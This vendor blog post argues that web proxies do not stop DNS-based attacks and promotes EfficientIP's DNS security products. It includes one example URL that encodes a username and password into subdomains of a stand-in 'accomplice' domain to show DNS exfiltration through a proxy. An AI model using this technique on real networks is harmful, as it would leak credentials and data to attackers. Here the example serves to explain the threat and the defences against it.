Web Proxy: Understanding Why It Is Not Enough

Web proxies are designed as intermediary layers between clients and applications, to accelerate surfing as well as securing communications and data. While this layer focuses on all aspects of HTTP(s), it still relies on DNS service in order to retrieve resources within a web page.

Indeed, the host part of a URL is a plain name meant to be resolved to an IP address. The proxy then connects to this IP address to fetch the desired object. On the other end, clients do not need DNS resolution for their web service work, as it is performed by the proxy.

One may think DNS threats are eliminated as a consequence. That’s only partially true – reality tells another story. Instead of sending direct DNS queries to a DNS resolver because of proxy usage for reaching out to Internet, any client can circumvent this barrier by forging HTTP queries and inserting intended DNS queries within the host part of the URL. The beauty of this workaround, albeit being of course malicious, is that the proxy does the dirty work instead of the user. From this moment on, many attacks can be performed such as zero-day, cache depletion (DNS server, but also proxy itself), or data exfiltration. Basically, all the attacks that do not require a bi-directional DNS flow.

Proxies need help to prevent data exfiltration

In most cases, web proxies are not designed to provide DNS security mechanisms, and when they do it is quickly undermined by the attacker as they prove to be limited and simple: maximum FQDN size, and maximum subdomain size are the most commonly seen available options. Next logical step is to provide a dedicated DNS security service to web proxies, and thus to end clients as a result. This DNS security will enforce existing security levels provided by the proxy by filling the hole for this protocol.

It is easy to encode data in the URL host, that will ultimately translate to the data being sent through DNS queries by the proxy, ending up being exfiltrated. DNS queries are sent over the UDP protocol, so that the sender leverages stateless characteristics to send queries freely without even requiring a response or any form of acknowledgement. For instance, simply requesting web resource “https://user_bob.password_alice.myaccomplicedomain.com/” transforms into a DNS query performed by the proxy, for user_bob.password_alice.myaccomplicedomain.com. Such query allows for exfiltrating Bob’s password in a human-readable way, without expecting any return whatsoever and even if the initial web request will eventually fail. One needs only to listen to DNS queries for the domain “myaccomplicedomain.com” in order to grab the information. And what if we combine it with another advanced form of encoding, for storing more data within a given number of characters for the URL host? Then, the rate of exfiltration speeds up, and the threat becomes even larger.

So when it comes to safeguarding data confidentiality, it’s clear that the proxy needs help. By implementing behavioral DNS threat detection such as DNS Guardian from EfficientIP, data exfiltration using web proxy can be identified and mitigated, amongst all the normal and clean DNS traffic generated by the proxy for legitimate users.

Eliminating zero-day exposure

If any DNS zero-day attack is performed using a forged query injected into a URL host, the DNS server used by the proxy would likely end up becoming non operational, and eventually the web service itself as a result of the snowball effect: in most cases, the DNS resolver used by the proxy is targeted and taken out of service, while fewer cases involve local proxy resolver being impacted and unable to cope with the DNS vulnerability. This type of scenario can be prevented by using a dedicated DNS security layer incorporating hybrid DNS engine technology, whereby multiple DNS engines allow for switching from one to the other DNS engine at will, thus eliminating zero-day exposure whenever it arises.

On top of this, DNS blacklists based on malicious domains and reputation scoring are strongly recommended. They are complementary to URL reputation feeders that exist on proxy solutions. SURBL for EfficientIP’s DNS Firewall provides such threat intelligence in continuous fashion, as it keeps security up-to-date with revision intervals less than 3 minutes. It contains millions of malicious domains related to malware, ransomware, spam, phishing sites, etc. DNS Firewall policies are performed locally by the DNS security solution, allowing offloading of such controls to the DNS layer instead of the proxy layer.

Protecting end users

Using web proxy to browse Internet does not guarantee that no DNS queries are sent directly by clients. Other DNS traffic can be sent to the internal resolver, commonly used for private applications such as services within Microsoft Active Directory, or corporate applications. Suspicious clients can make use of this access to damage internal DNS service using several attacks types: zero-day, exploits, or various volumetric scenarios (NXDomain attack for instance).

This implies that DNS security needs to be provided directly to end users, even if web browsing is handled by a dedicated proxy, helping prove the point that when it comes to protecting your network – in particular DNS – proxies on their own are not enough.

Learn more about why traditional security solutions are not adapted to protect DNS.